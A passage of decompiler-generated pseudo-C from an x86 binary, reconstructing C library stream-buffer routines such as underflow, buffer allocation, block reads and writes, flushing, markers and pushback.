    *(A8 + 36) = ecx;
    *(A8 + 4) = *(A8 + 12);
}

/*	Procedure: 0x0806183A - 0x0806183B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806183A()
{



}

/*	Procedure: 0x0806183C - 0x08061869
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0806183C(A8)
/* unknown */ void  A8;
{



    *A8 = *A8 | 256;
    ecx = *(A8 + 8);
    *(A8 + 8) = *(A8 + 44);
    *(A8 + 44) = ecx;
    ecx = *(A8 + 12);
    *(A8 + 12) = *(A8 + 36);
    *(A8 + 36) = ecx;
    *(A8 + 4) = *(A8 + 8);
}

/*	Procedure: 0x0806186A - 0x0806186B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806186A()
{



}

/*	Procedure: 0x0806186C - 0x080618D2
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L0806186C(A8)
/* unknown */ void  A8;
{



    if(*(A8 + 16) < *(A8 + 20) && *( *( *(A8 + 80) + 20))(A8, -1) == -1) {
        eax = -1;
    } else {
        if(!( *(A8 + 1) & 1)) {
            *(A8 + 12) = *(A8 + 40);
        } else {
            *(A8 + 12) = *(A8 + 28);
            eax = *(A8 + 20);
            if(*(A8 + 8) < eax) {
                *(A8 + 8) = eax;
            }
        }
        eax = *(A8 + 20);
        *(A8 + 4) = eax;
        *(A8 + 24) = eax;
        *(A8 + 20) = eax;
        *(A8 + 16) = *(A8 + 20);
        *A8 = *A8 & -2049;
        eax = 0;
    }
}

/*	Procedure: 0x080618D3 - 0x080618D3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080618D3()
{



}

/*	Procedure: 0x080618D4 - 0x0806190E
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L080618D4(A8)
/* unknown */ void  A8;
{



    if(!( *(A8 + 1) & 1)) {
        L0806180C(A8);
    }
    *(A8 + 36) = 0;
    *(A8 + 44) = 0;
    *(A8 + 40) = 0;
    return(L0805C290( *(A8 + 36)));
}

/*	Procedure: 0x0806190F - 0x0806190F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806190F()
{



}

/*	Procedure: 0x08061910 - 0x08061926
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08061910(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(*( *( *(A8 + 80) + 20))(A8, Ac));
}

/*	Procedure: 0x08061927 - 0x08061927
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061927()
{



}

/*	Procedure: 0x08061928 - 0x08061A6C
 *	Argument size: 4
 *	Local size: 12
 *	Save regs size: 12
 */

L08061928(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = L080617E4(A8);
    ecx = *(A8 + 8) - *(A8 + 12) - esi;
    Vfffffffc = ecx;
    eax = *(A8 + 44) - *(A8 + 36);
    if(ecx > eax) {
        Vfffffff8 = 100;
        eax = L0805BD74(ecx + 100);
        Vfffffff4 = eax;
        if(Vfffffff4 == 0) {
            eax = -1;
            goto L08061a63;
        }
        if(esi < 0) {
            edx = ~esi;
            ebx = Vfffffff4 + Vfffffff8;
            L0805652C(ebx, *(A8 + 44) + esi, edx);
            ebx = ebx - esi;
            edx = *(A8 + 12);
            (save) *(A8 + 8) - edx;
            (save)edx;
            (save)ebx;
        } else {
            eax = *(A8 + 12) + esi;
            (save)Vfffffffc;
            (save)eax;
            (save)Vfffffff4 + Vfffffff8;
        }
        L0805652C();
        esp = esp + 12;
        if(*(A8 + 36) != 0) {
            L0805C290( *(A8 + 36));
        }
        *(A8 + 36) = Vfffffff4;
        *(A8 + 44) = Vfffffff4 + Vfffffff8 + Vfffffffc;
    } else {
        Vfffffff8 = eax - Vfffffffc;
        if(esi < 0) {
            L08056570(Vfffffff8 + *(A8 + 36), esi + *(A8 + 44), ~esi);
            edx = Vfffffff8 + *(A8 + 36) - esi;
            ecx = *(A8 + 12);
            (save) *(A8 + 8) - ecx;
            (save)ecx;
            goto L08061a3a;
        }
        if(Vfffffffc > 0) {
            edx = Vfffffff8 + *(A8 + 36);
            eax = *(A8 + 12) + esi;
            (save)Vfffffffc;
            (save)eax;
L08061a3a:
            L0805652C(edx);
        }
    }
    *(A8 + 40) = Vfffffff8 + *(A8 + 36);
    edx = *(A8 + 8) - *(A8 + 12);
    eax = *(A8 + 48);
    do {
        *(eax + 8) = *(eax + 8) - edx;
        eax = *eax;
    } while(eax != 0);
    eax = 0;
L08061a63:
    esp = ebp - 24;
}

/*	Procedure: 0x08061A6D - 0x08061A6F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061A6D()
{



}

/*	Procedure: 0x08061A70 - 0x08061AEA
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08061A70(A8)
/* unknown */ void  A8;
{



    if(!( *(A8 + 1) & 8) && L0806186C(A8) == -1) {
        goto L08061ac3;
    }
    eax = *(A8 + 4);
    if(*(A8 + 8) <= eax) {
        if(*(A8 + 1) & 1) {
            goto L08061ab0;
        }
        L0806180C(A8);
        eax = *(A8 + 4);
        if(*(A8 + 8) <= eax) {
            goto L08061ab0;
        }
    }
    eax = *eax & 255;
    goto L08061ae4;
L08061ab0:
    if(*(A8 + 48) != 0) {
        if(L08061928(A8) == 0) {
            goto L08061adb;
        }
L08061ac3:
        eax = -1;
    } else {
        if(*(A8 + 36) != 0) {
            L080618D4(A8);
        }
L08061adb:
        eax = *( *( *(A8 + 80) + 28))(A8);
    }
L08061ae4:
}

/*	Procedure: 0x08061AEB - 0x08061B6A
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08061AEB(A8)
/* unknown */ void  A8;
{



    if(!( *(A8 + 1) & 8) && L0806186C(A8) == -1) {
        goto L08061b43;
    }
    eax = *(A8 + 4);
    if(*(A8 + 8) <= eax) {
        if(*(A8 + 1) & 1) {
            goto L08061b30;
        }
        L0806180C(A8);
        eax = *(A8 + 4);
        if(*(A8 + 8) <= eax) {
            goto L08061b30;
        }
    }
    eax = *eax & 255;
    *(A8 + 4) = *(A8 + 4) + 1;
    goto L08061b64;
L08061b30:
    if(*(A8 + 48) != 0) {
        if(L08061928(A8) == 0) {
            goto L08061b5b;
        }
L08061b43:
        eax = -1;
    } else {
        if(*(A8 + 36) != 0) {
            L080618D4(A8);
        }
L08061b5b:
        eax = *( *( *(A8 + 80) + 36))(A8);
    }
L08061b64:
}

/*	Procedure: 0x08061B6B - 0x08061B6B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061B6B()
{



}

/*	Procedure: 0x08061B6C - 0x08061BB4
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L08061B6C(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{



    if(*(A8 + 28) != 0 && !( *A8 & 1)) {
        eax = L08066154( *(A8 + 28), *(A8 + 32) - *(A8 + 28));
    }
    *(A8 + 28) = Ac;
    *(A8 + 32) = A10;
    *A8 = A14 != 0 ? *A8 & -2 : *A8 | 1;
}

/*	Procedure: 0x08061BB5 - 0x08061BB7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061BB5()
{



}

/*	Procedure: 0x08061BB8 - 0x08061BF1
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08061BB8(A8)
/* unknown */ void  A8;
{



    if(*(A8 + 28) == 0) {
        if(*A8 & 2) {
            goto L08061bdb;
        }
        eax = *( *( *(A8 + 80) + 100))(A8);
        if(eax == -1) {
L08061bdb:
            eax = L08061B6C(A8, A8 + 71, A8 + 72, 0);
        }
    }
}

/*	Procedure: 0x08061BF2 - 0x08061BFF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061BF2()
{



    return(-1);
}

/*	Procedure: 0x08061C00 - 0x08061C2B
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08061C00(A8)
/* unknown */ void  A8;
{



    if(*( *( *(A8 + 80) + 28))(A8) != -1) {
        eax = *( *(A8 + 4)) & 255;
        *(A8 + 4) = *(A8 + 4) + 1;
    } else {
        eax = -1;
    }
}

/*	Procedure: 0x08061C2C - 0x08061D2B
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 12
 */

L08061C2C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    ebx = Ac;
    edi = A10;
    Vfffffffc = edi;
    if(Vfffffffc == 0) {
        eax = 0;
    } else {
        while(1) {
            edi = A8;
            esi = *(edi + 24) - *(edi + 20);
            if(esi > 0) {
                if(Vfffffffc < esi) {
                    esi = Vfffffffc;
                }
                if(esi <= 20) {
L08061c84:
                    if(esi > 0) {
                        edx = *(A8 + 20);
                        ecx = esi - 1;
                        if(ecx >= 0) {
                            eax = !ecx & 3;
                            if(ecx > -1) {
                                if(eax == 0) {
                                    goto L08061ccc;
                                }
                                if(eax < 3) {
                                    if(eax < 2) {
                                        *edx = *ebx;
                                        ebx = ebx + 1;
                                        edx = edx + 1;
                                        ecx = esi - 2;
                                    }
                                    *edx = *ebx;
                                    ebx = ebx + 1;
                                    edx = edx + 1;
                                    ecx = ecx - 1;
                                }
                            }
                            *edx = *ebx;
                            ebx = ebx + 1;
                            edx = edx + 1;
                            if(!(ecx = ecx - 1)) {
L08061ccc:
                                do {
                                    *edx = *ebx;
                                    *(edx + 1) = *(ebx + 1);
                                    *(edx + 2) = *(ebx + 2);
                                    *(edx + 3) = *(ebx + 3);
                                    ebx = ebx + 4;
                                    edx = edx + 4;
                                } while(ecx = ecx + -4);
                            }
                        }
                        *(A8 + 20) = edx;
                    } else {
                        esi = 0;
                    }
                } else {
                    edi = A8;
                    L0805652C( *(edi + 20), ebx, esi);
                    ebx = ebx + esi;
                    *(edi + 20) = *(edi + 20) + esi;
                }
                Vfffffffc = Vfffffffc - esi;
            }
            if(Vfffffffc == 0) {
                goto L08061d1c;
            }
            ebx = ebx + 1;
            if(L08061910(A8, *ebx & 255) == -1) {
                goto L08061d1c;
            }
            Vfffffffc = Vfffffffc - 1;
        }
        goto L08061c84;
L08061d1c:
        eax = A10 - Vfffffffc;
    }
    esp = ebp - 16;
}

/*	Procedure: 0x08061D2C - 0x08061D4A
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L08061D2C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    return(*( *( *(A8 + 80) + 60))(A8, Ac, A10));
}

/*	Procedure: 0x08061D4B - 0x08061E34
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 12
 */

L08061D4B(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = A10;
    ebx = Ac;
    do {
        edi = A8;
        esi = *(edi + 8) - *(edi + 4);
        if(esi > 0) {
            if(Vfffffffc < esi) {
                esi = Vfffffffc;
            }
            if(esi <= 20) {
                if(esi > 0) {
                    edx = *(A8 + 4);
                    ecx = esi - 1;
                    if(ecx >= 0) {
                        eax = !ecx & 3;
                        if(ecx > -1) {
                            if(eax == 0) {
                                goto L08061de0;
                            }
                            if(eax < 3) {
                                if(eax < 2) {
                                    *ebx = *edx;
                                    edx = edx + 1;
                                    ebx = ebx + 1;
                                    ecx = esi - 2;
                                }
                                *ebx = *edx;
                                edx = edx + 1;
                                ebx = ebx + 1;
                                ecx = ecx - 1;
                            }
                        }
                        *ebx = *edx;
                        edx = edx + 1;
                        ebx = ebx + 1;
                        if(!(ecx = ecx - 1)) {
L08061de0:
                            do {
                                *ebx = *edx;
                                *(ebx + 1) = *(edx + 1);
                                *(ebx + 2) = *(edx + 2);
                                *(ebx + 3) = *(edx + 3);
                                edx = edx + 4;
                                ebx = ebx + 4;
                            } while(ecx = ecx + -4);
                        }
                    }
                    *(A8 + 4) = edx;
                } else {
                    esi = 0;
                }
            } else {
                edi = A8;
                L0805652C(ebx, *(edi + 4), esi);
                ebx = ebx + esi;
                *(edi + 4) = *(edi + 4) + esi;
            }
            Vfffffffc = Vfffffffc - esi;
        }
    } while(Vfffffffc != 0 && L08061A70(A8) != -1);
    esp = ebp - 16;
    return(A10 - Vfffffffc);
}

/*	Procedure: 0x08061E35 - 0x08061E40
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061E35()
{



    return(0);
}

/*	Procedure: 0x08061E41 - 0x08061E43
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061E41()
{



}

/*	Procedure: 0x08061E44 - 0x08061EC5
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08061E44(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(*( *( *(A8 + 80) + 92))(A8) == -1) {
        eax = 0;
    } else {
        if(Ac == 0 || A10 == 0) {
            *A8 = *A8 | 2;
            (save)0;
            (save)A8 + 72;
            (save)A8 + 71;
        } else {
            *A8 = *A8 & -3;
            (save)0;
            (save)A10 + Ac;
            (save)Ac;
        }
        L08061B6C(A8);
        *(A8 + 24) = 0;
        *(A8 + 20) = 0;
        *(A8 + 16) = 0;
        *(A8 + 8) = 0;
        *(A8 + 4) = 0;
        *(A8 + 12) = 0;
        eax = A8;
    }
}

/*	Procedure: 0x08061EC6 - 0x08061EE8
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L08061EC6(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    return(*( *( *(A8 + 80) + 68))(A8, Ac, 0, A10));
}

/*	Procedure: 0x08061EE9 - 0x08061F33
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08061EE9(A8)
/* unknown */ void  A8;
{



    edx = L08065CEC(0, 1024, 3, 34, -1, 0);
    if(edx != -1) {
        L08061B6C(A8, edx, edx + 1024, 1);
        eax = 1;
    } else {
        eax = -1;
    }
}

/*	Procedure: 0x08061F34 - 0x08061FB0
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08061F34(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    *A8 = Ac | -72548352;
    *(A8 + 28) = 0;
    *(A8 + 32) = 0;
    *(A8 + 12) = 0;
    *(A8 + 4) = 0;
    *(A8 + 8) = 0;
    *(A8 + 16) = 0;
    *(A8 + 20) = 0;
    *(A8 + 24) = 0;
    *(A8 + 52) = 0;
    *(A8 + 36) = 0;
    *(A8 + 40) = 0;
    *(A8 + 44) = 0;
    *(A8 + 48) = 0;
    *(A8 + 68) = 0;
    *(A8 + 56) = -1;
}

/*	Procedure: 0x08061FB1 - 0x08061FBC
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061FB1()
{



    return(0);
}

/*	Procedure: 0x08061FBD - 0x08061FBF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08061FBD()
{



}

/*	Procedure: 0x08061FC0 - 0x0806202E
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08061FC0(A8)
/* unknown */ void  A8;
{



    if(*(A8 + 28) != 0 && !( *A8 & 1)) {
        L08066154( *(A8 + 28), *(A8 + 32) - *(A8 + 28));
        *(A8 + 32) = 0;
        *(A8 + 28) = 0;
    }
    eax = *(A8 + 48);
    do {
        *(eax + 4) = 0;
        eax = *eax;
    } while(eax != 0);
    if(*(A8 + 36) != 0) {
        L0805C290( *(A8 + 36));
        *(A8 + 36) = 0;
    }
    return(L08061788(A8));
}

/*	Procedure: 0x0806202F - 0x0806203B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806202F()
{



    return(-1);
}

/*	Procedure: 0x0806203C - 0x08062074
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L0806203C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = *(A8 + 4);
    if(*(A8 + 12) < eax && *(eax - 1) == dl) {
        *(A8 + 4) = *(A8 + 4) - 1;
        eax = dl & 255;
    } else {
        eax = *( *( *(A8 + 80) + 44))(A8, Ac);
    }
    if(eax != -1) {
        *A8 = *A8 & -17;
    }
}

/*	Procedure: 0x08062075 - 0x080620AD
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08062075(A8)
/* unknown */ void  A8;
{



    if(*(A8 + 12) < *(A8 + 4)) {
        *(A8 + 4) = *(A8 + 4) - 1;
        eax = *( *(A8 + 4)) & 255;
    } else {
        eax = *( *( *(A8 + 80) + 44))(A8, -1);
    }
    if(eax != -1) {
        *A8 = *A8 & -17;
    }
}

/*	Procedure: 0x080620AE - 0x080620C5
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080620AE(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    *(A8 + 68) = Ac + 1;
    return(0);
}

/*	Procedure: 0x080620C6 - 0x080620C7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080620C6()
{



}

/*	Procedure: 0x080620C8 - 0x08062151
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L080620C8(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    edx = A10 + Ac;
    if(edx > Ac) {
        ecx = edx;
        eax = Ac - edx & 3;
        if(edx > Ac) {
            if(eax == 0) {
                goto L0806210c;
            }
            if(eax < 3) {
                if(eax < 2) {
                    edx = edx - 1;
                    if(*edx == 10) {
                        goto L08062138;
                    }
                }
                edx = edx - 1;
                if(*edx == 10) {
                    goto L08062138;
                }
            }
        }
        edx = edx - 1;
        if(*edx != 10) {
            goto L08062140;
L0806210c:
            eax = edx - 1;
            if(*(edx - 1) != 10) {
                eax = edx - 2;
                if(*(edx - 2) != 10) {
                    eax = edx - 3;
                    if(*(edx - 3) != 10) {
                        goto L08062130;
                    }
                }
            }
            eax = ecx - eax - 1;
            goto L08062149;
L08062130:
            edx = edx + -4;
            if(*edx != 10) {
                goto L08062140;
            }
        }
L08062138:
        eax = ecx - edx - 1;
        goto L08062149;
L08062140:
        if(edx > Ac) {
            goto L0806210c;
        }
    }
    eax = A8 + A10;
L08062149:
}

/*	Procedure: 0x08062152 - 0x08062185
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08062152(A8)
/* unknown */ void  A8;
{



    if(*(A8 + 68) == 0) {
        return(-1);
    }
    return(L080620C8(( *(A8 + 68) & 65535) - 1, *(A8 + 16), *(A8 + 20) - *(A8 + 16)));
}

/*	Procedure: 0x08062186 - 0x08062187
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062186()
{



}

/*	Procedure: 0x08062188 - 0x080621CD
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 8
 */

L08062188()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    esi = 0;
    ebx = *L080787F8;
    do {
        if(*(ebx + 16) < *(ebx + 20) && *( *( *(ebx + 80) + 20))(ebx, -1) == -1) {
            esi = -1;
        }
        ebx = *(ebx + 52);
    } while(ebx != 0);
    return(esi);
}

/*	Procedure: 0x080621CE - 0x080621CF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080621CE()
{



}

/*	Procedure: 0x080621D0 - 0x08062201
 *	Argument size: -4
 *	Local size: 4
 *	Save regs size: 4
 */

L080621D0()
{
	/* unknown */ void  ebx;



    ebx = *L080787F8;
    do {
        if(!( *(ebx + 1) & 2)) {
            eax = *( *( *(ebx + 80) + 20))(ebx, -1);
        }
        ebx = *(ebx + 52);
    } while(ebx != 0);
}

/*	Procedure: 0x08062202 - 0x08062203
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062202()
{



}

/*	Procedure: 0x08062204 - 0x08062236
 *	Argument size: -4
 *	Local size: 4
 *	Save regs size: 4
 */

L08062204()
{
	/* unknown */ void  ebx;



    ebx = *L080787F8;
    do {
        if(!( *ebx & 2)) {
            eax = *( *( *(ebx + 80) + 84))(ebx, 0, 0);
        }
        ebx = *(ebx + 52);
    } while(ebx != 0);
}

/*	Procedure: 0x08062237 - 0x08062248
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062237()
{



    L08062188();
    return(L08062204());
}

/*	Procedure: 0x08062249 - 0x0806228D
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08062249(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    *(A8 + 4) = Ac;
    if(!( *(Ac + 1) & 8)) {
        L0806186C(Ac);
    }
    edx = !( *(Ac + 1) & 1) ? *(Ac + 4) - *(Ac + 8) : *(Ac + 4) - *(Ac + 12);
    *(A8 + 8) = edx;
    eax = *(Ac + 48);
    *A8 = eax;
    *(Ac + 48) = A8;
    return(*A8);
}

/*	Procedure: 0x0806228E - 0x080622BA
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0806228E(A8)
/* unknown */ void  A8;
{



    eax = A8;
    edx = *(eax + 4) + 48;
    if(*edx != 0) {
        do {
            if(*edx == eax) {
                goto L080622a8;
            }
            edx = *edx;
        } while(*edx != 0);
        goto L080622b7;
L080622a8:
        eax = *eax;
        *edx = eax;
        return(*edx);
    }
L080622b7:
    esp = ebp;
}

/*	Procedure: 0x080622BB - 0x080622D0
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080622BB(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(*(A8 + 8) - *(Ac + 8));
}

/*	Procedure: 0x080622D1 - 0x08062315
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L080622D1(A8)
/* unknown */ void  A8;
{



    if(*(A8 + 4) == 0) {
        return(-1);
    }
    eax = *(A8 + 4);
    if(!( *(eax + 1) & 1)) {
        ecx = *(eax + 4) - *(eax + 8);
    } else {
        eax = *(A8 + 4);
        ecx = *(eax + 4) - *(eax + 12);
    }
    eax = ecx;
    eax = *(A8 + 8) - eax;
    esp = ebp;
}

/*	Procedure: 0x08062316 - 0x08062367
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08062316(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(*(Ac + 4) != A8) {
        eax = -1;
    } else {
        if(*(Ac + 8) >= 0) {
            if(!( *(A8 + 1) & 1)) {
                L0806180C(A8);
            }
            edx = *(A8 + 12);
        } else {
            if(!( *(A8 + 1) & 1)) {
                L0806183C(A8);
            }
            edx = *(A8 + 8);
        }
        *(A8 + 4) = edx + *(Ac + 8);
        eax = 0;
    }
}

/*	Procedure: 0x08062368 - 0x0806238A
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08062368(A8)
/* unknown */ void  A8;
{



    eax = A8;
    if(*(eax + 48) != 0) {
        *(eax + 48) = 0;
    }
    if(*(eax + 36) != 0) {
        eax = L080618D4(eax);
    }
}

/*	Procedure: 0x0806238B - 0x080623B7
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0806238B(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    edx = A8;
    if(*(edx + 12) < *(edx + 4)) {
        *(edx + 4) = *(edx + 4) - 1;
    }
    if(Ac != -1) {
        edx = *(edx + 4);
        if(( *edx & 255) != Ac) {
            *edx = cl;
        }
    }
    return(cl & 255);
}

/*	Procedure: 0x080623B8 - 0x0806249C
 *	Argument size: 8
 *	Local size: 8
 *	Save regs size: 12
 */

L080623B8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    if(*(A8 + 12) >= *(A8 + 4)) {
        if(*(A8 + 36) != 0) {
            if(!( *(A8 + 1) & 1)) {
                L0806183C(A8);
            }
            if(*(A8 + 36) != 0) {
                goto L08062414;
            }
        }
        eax = L0805BD74(128);
        if(eax == 0) {
            goto L08062438;
        }
        *(A8 + 36) = eax;
        eax = eax + 128;
        *(A8 + 44) = eax;
        *(A8 + 40) = *(A8 + 44);
        L0806183C(A8);
        goto L08062474;
L08062414:
        if(*(A8 + 12) >= *(A8 + 4)) {
            esi = *(A8 + 8) - *(A8 + 12);
            ecx = esi + esi;
            Vfffffffc = ecx;
            eax = L0805BD74(Vfffffffc);
            Vfffffff8 = eax;
            if(Vfffffff8 == 0) {
L08062438:
                eax = -1;
                goto L08062493;
            }
            ebx = Vfffffffc - esi;
            eax = *(A8 + 12);
            ebx = ebx + Vfffffff8;
            L0805652C(ebx, eax, esi);
            L0805C290( *(A8 + 12));
            ecx = Vfffffff8;
            *(A8 + 12) = ecx;
            *(A8 + 4) = ebx;
            *(A8 + 8) = *(A8 + 12) + Vfffffffc;
            *(A8 + 40) = *(A8 + 4);
        }
    }
L08062474:
    *(A8 + 4) = *(A8 + 4) - 1;
    if(Ac != -1) {
        edx = *(A8 + 4);
        if(Ac != ( *edx & 255)) {
            *edx = Ac;
        }
    }
    eax = *( *(A8 + 4)) & 255;
L08062493:
    esp = ebp - 20;
}

/*	Procedure: 0x0806249D - 0x080624AB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806249D()
{



    return(-1);
}

/*	Procedure: 0x080624AC - 0x080624B7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080624AC()
{



    return(-1);
}

/*	Procedure: 0x080624B8 - 0x080624C3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080624B8()
{



    return(-1);
}

/*	Procedure: 0x080624C4 - 0x080624CC
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080624C4()
{



    return(0);
}

/*	Procedure: 0x080624CD - 0x080624CF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080624CD()
{



}

/*	Procedure: 0x080624D0 - 0x08062531
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L080624D0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  edi;



    al = 0;
    edi = A8;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    edi = !ecx - 1;
    if(Ac == 0) {
L080624f2:
        *L08078B14 = 22;
        goto L08062524;
    }
    if(( *Ac & -65536) != -72548352) {
        goto L080624f2;
    }
    if(*( *( *(Ac + 80) + 52))(Ac, A8, edi) == edi) {
        eax = 1;
    } else {
L08062524:
        eax = -1;
    }
}

/*	Procedure: 0x08062532 - 0x08062533
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062532()
{



}

/*	Procedure: 0x08062534 - 0x080625D8
 *	Argument size: 12
 *	Local size: 16
 *	Save regs size: 12
 */

L08062534(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff1;
	/* unknown */ void  Vfffffff2;
	/* unknown */ void  Vfffffff3;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff5;
	/* unknown */ void  Vfffffff6;
	/* unknown */ void  Vfffffff7;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffff9;
	/* unknown */ void  Vfffffffa;
	/* unknown */ void  Vfffffffb;
	/* unknown */ void  Vfffffffc;
	/* unknown */ void  Vfffffffd;
	/* unknown */ void  Vfffffffe;
	/* unknown */ void  Vffffffff;



    eax = Ac;
    edi = 0;
    if(eax == 32) {
        esi = " 0000000000000000";
    } else {
        if(eax == 48) {
            esi = "0000000000000000";
        } else {
            Vffffffff = al;
            Vfffffffe = al;
            Vfffffffd = al;
            Vfffffffc = al;
            Vfffffffb = al;
            Vfffffffa = al;
            Vfffffff9 = al;
            Vfffffff8 = al;
            Vfffffff7 = al;
            Vfffffff6 = al;
            Vfffffff5 = al;
            Vfffffff4 = al;
            Vfffffff3 = al;
            Vfffffff2 = al;
            Vfffffff1 = al;
            Vfffffff0 = al;
            esi = & Vfffffff0;
        }
    }
    ebx = A10;
    do {
        edx = A8;
        eax = *( *( *(edx + 80) + 52))(edx, esi, 16);
        edi = edi + eax;
        if(eax != 16) {
            goto L080625cd;
        }
        ebx = ebx + -16;
    } while(ebx > 15);
    if(ebx > 0) {
        edx = A8;
        edi = edi + *( *( *(edx + 80) + 52))(edx, esi, ebx);
    }
L080625cd:
    eax = edi;
    esp = ebp - 28;
}

/*	Procedure: 0x080625D9 - 0x080625DB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080625D9()
{



}

/*	Procedure: 0x080625DC - 0x0806267B
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L080625DC(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
